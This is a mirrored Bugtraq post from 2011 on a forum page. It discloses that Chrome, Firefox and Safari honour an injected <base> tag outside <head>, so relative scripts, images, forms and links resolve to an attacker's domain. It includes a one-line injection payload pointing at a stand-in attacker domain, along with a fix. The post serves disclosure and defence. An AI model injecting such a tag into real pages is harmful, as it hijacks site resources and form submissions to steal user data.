<BASE> tag used for hijacking external resources (XSS)

看板Bugtraq作者時間14年前 (2011/12/17 02:01), 編輯推噓0(000)
留言0則, 0人參與, 最新討論串2/7 (看更多)
I report this here because I could not find any other reference to this issue. VULNERABLE: Chrome, firefox and safari. NOT VULNERABLE: IE8 or IE9. (Above is as far as I could tell: things are moving fast nowadays in browser land) ISSUE: The <base> tag is parsed outside of <head></head>. This can lead to the base being reset, both before and after the <base> tag being injected, depending on browser types and versions. As a result, images and javascript can be loaded from an attackers domain, and forms and hyperlinks point to the attackers domain. An example can be found on http://avuko.net, but it is simple enough to reproduce: just put a <base href="" rel="nofollow">http://attackerdomain"> somewhere in your HTML (the closer to <head> the better). Tested with overriding <img>, <a>, <script> & <form>, would probably work on other external references too. FIX/WORK-AROUND: make sure all paths are absolute. REFERENCES: http://www.w3.org/TR/html4/struct/links.html#h-12.4 http://avuko.net -- Be strict when sending and tolerant when receiving. [RFC 1958, 3.9]
文章代碼(AID): #1EwuTWGF (Bugtraq)
討論串 (同標題文章)
文章代碼(AID): #1EwuTWGF (Bugtraq)